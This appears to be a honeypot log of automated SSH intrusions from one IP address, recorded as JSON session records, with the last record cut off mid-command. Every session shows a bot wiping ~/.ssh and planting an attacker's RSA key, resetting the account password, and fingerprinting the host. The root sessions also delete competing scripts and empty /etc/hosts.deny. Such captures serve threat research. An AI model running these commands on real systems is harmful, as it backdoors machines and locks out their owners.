{"id":"b7a65124-2460-4337-9d44-8de2fa829983","name":"austere-brazen-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":38690,"username":"alex","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":312,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:51:35.348477+00:00","ended_at":"2026-08-27T04:51:37.531776+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2231,"events":[{"seq":1,"at":"2026-08-27T04:51:17.203110+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:51:17.510536+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:51:22.709827+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:51:23.318442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:51:23.630225+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test123\\nfrmIPvEhDNvb\\nfrmIPvEhDNvb\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:51:23.940164+00:00","kind":"input","latency_ms":null,"data":"echo \"test123\\nfrmIPvEhDNvb\\nfrmIPvEhDNvb\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:51:24.251707+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:51:24.546806+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:51:24.856279+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:51:25.898793+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:51:26.213066+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:51:27.393102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:51:27.705833+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:51:28.172938+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:51:28.485885+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:51:28.866366+00:00","kind":"output","latency_ms":null,"data":" 04:51:28 up 7 days, 1:41, 0 user, load average: 0.16, 0.16, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:51:29.178151+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:51:29.588037+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:51:29.900203+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:51:30.285436+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:51:30.606110+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:51:31.004303+00:00","kind":"output","latency_ms":null,"data":"top - 04:51:31 up 7 days, 1:41, 0 user, load average: 0.16, 0.16, 0.17\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:51:31.314740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:51:31.740642+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:51:32.055041+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:51:32.842666+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:51:33.153181+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:51:33.729402+00:00","kind":"output","latency_ms":null,"data":"alex"},{"seq":29,"at":"2026-08-27T04:51:34.040573+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:51:35.038229+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:51:35.349297+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:51:37.437494+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"alex","password":"test123","method":"password","accepted":true,"tier":"other"}]} {"id":"6605346a-8a20-4279-a7a3-5fd74ee2e6f4","name":"curious-ashen-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37838,"username":"sammy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:49:31.561384+00:00","ended_at":"2026-08-27T04:49:32.739291+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2225,"events":[{"seq":1,"at":"2026-08-27T04:49:13.885808+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:49:14.208822+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:49:18.371753+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:49:18.834650+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:49:19.153229+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123123123\\nk3A58dVTseTF\\nk3A58dVTseTF\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:49:19.473427+00:00","kind":"input","latency_ms":null,"data":"echo \"123123123\\nk3A58dVTseTF\\nk3A58dVTseTF\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:49:19.792545+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:49:20.276456+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:49:20.603754+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:49:21.595565+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:49:21.921683+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:49:23.039720+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:49:23.361751+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:49:24.072795+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:49:24.392021+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:49:24.688248+00:00","kind":"output","latency_ms":null,"data":" 04:49:24 up 7 days, 1:39, 0 user, load average: 0.12, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:49:25.008440+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:49:25.275514+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:49:25.597410+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:49:26.101118+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:49:26.422198+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:49:27.155908+00:00","kind":"output","latency_ms":null,"data":"top - 04:49:27 up 7 days, 1:39, 0 user, load average: 0.12, 0.12, 0.08\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:49:27.476297+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:49:28.080418+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:49:28.402111+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:49:29.133545+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:49:29.452595+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:49:29.746846+00:00","kind":"output","latency_ms":null,"data":"sammy"},{"seq":29,"at":"2026-08-27T04:49:30.067084+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:49:31.241166+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:49:31.562162+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:49:32.643191+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sammy","password":"123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"99818851-7ea4-4d62-913b-65273d776767","name":"barren-airy-dolphin","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":42160,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":325,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:47:24.670832+00:00","ended_at":"2026-08-27T04:47:26.373253+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T04:47:06.168694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:47:06.487632+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:47:10.404145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:47:10.780741+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:47:11.099955+00:00","kind":"input","latency_ms":null,"data":"echo \"root:nsXKEQLJ6aVI\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:47:11.422240+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:47:11.741245+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:47:12.383234+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:47:12.706751+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:47:13.850243+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:47:14.175734+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:47:15.371293+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:47:15.706092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:47:16.517742+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:47:16.842857+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:47:17.693091+00:00","kind":"output","latency_ms":null,"data":" 04:47:17 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:47:18.016157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:47:18.805219+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:47:19.130775+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:47:19.406605+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:47:19.729999+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:47:20.265160+00:00","kind":"output","latency_ms":null,"data":"top - 04:47:20 up 7 days, 1:37, 0 user, load average: 0.1, 0.12, 0.07\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:47:20.592947+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:47:21.458352+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:47:21.780925+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:47:22.047017+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:47:22.371223+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:47:23.169150+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:47:23.493761+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:47:24.348460+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:47:24.672555+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:47:26.274796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"362514","method":"password","accepted":true,"tier":"other"}]} {"id":"8d1d44ba-d548-40c2-9bff-c2694f2ca2bd","name":"dapper-windswept-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43532,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:45:24.577959+00:00","ended_at":"2026-08-27T04:45:25.818090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T04:45:07.442117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:45:07.747699+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:45:11.035791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:45:11.451910+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:45:11.761100+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ti2OKAs826EE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:45:12.070304+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:45:12.378234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:45:13.018770+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:45:13.331172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:45:14.290668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:45:14.605097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:45:15.545368+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:45:15.860315+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:45:16.424951+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:45:16.736252+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:45:17.023923+00:00","kind":"output","latency_ms":null,"data":" 04:45:17 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:45:17.334758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:45:17.704185+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:45:18.013457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:45:18.769438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:45:19.078929+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:45:19.828174+00:00","kind":"output","latency_ms":null,"data":"top - 04:45:19 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:45:20.135003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:45:20.555170+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:45:20.865133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:45:21.578848+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:45:21.898877+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:45:22.576946+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:45:22.895333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:45:24.266598+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:45:24.579718+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:45:25.723709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1234Qwer!","method":"password","accepted":true,"tier":"other"}]} {"id":"8712e8ca-65c1-4d9c-a9a6-0f37a32a77e2","name":"sullen-lofty-kea","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":39404,"username":"abdullah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:43:27.970027+00:00","ended_at":"2026-08-27T04:43:29.456538+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2185,"events":[{"seq":1,"at":"2026-08-27T04:43:10.454175+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:43:10.772032+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:43:14.022446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:43:14.310767+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:43:14.638843+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nnNMRt6X7QqUp\\nnNMRt6X7QqUp\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:43:14.959573+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nnNMRt6X7QqUp\\nnNMRt6X7QqUp\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:43:15.272016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 